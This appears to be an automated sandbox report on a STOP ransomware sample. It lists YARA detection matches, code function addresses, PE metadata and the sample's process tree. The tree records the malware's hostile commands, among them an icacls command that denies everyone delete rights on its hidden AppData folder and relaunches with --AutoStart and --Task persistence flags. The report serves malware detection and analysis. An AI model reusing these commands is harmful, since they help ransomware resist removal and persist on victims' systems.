Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000000.418527999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 4004, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5720, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5592, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 4376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 3616, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5828, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5832, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 3920, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 3304, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: bE5aaTiJM0.exe PID: 2888, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040D240
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00419F90
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040C070
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0042E003
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0042F010
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0044237E
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_004344FF
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00449506
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0043E5A3
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0044B5B1
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040A660
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0041E690
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040274E
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040A710
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040F730
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0044D7A1
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0042C804
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0044D9DC
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00449A71
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00443B40
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0044ACFF
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040DD40
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0040BDC0
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_0042CE51
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00420F30
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00449FE3

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: String function: 0042F7C0 appears 37 times
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: String function: 0044F23E appears 44 times
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: String function: 00428520 appears 51 times
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: String function: 004547A0 appears 31 times

Source: bE5aaTiJM0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bE5aaTiJM0.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: bE5aaTiJM0.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: bE5aaTiJM0.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: bE5aaTiJM0.exe	Virustotal: Detection: 39%
Source: bE5aaTiJM0.exe	ReversingLabs: Detection: 53%

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

File read: C:\Users\user\Desktop\bE5aaTiJM0.exe

Jump to behavior

Source: bE5aaTiJM0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe"
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe"
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe"
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

File created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@18/215@6/2

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 0_2_041D07C6 CreateToolhelp32Snapshot,Module32First,

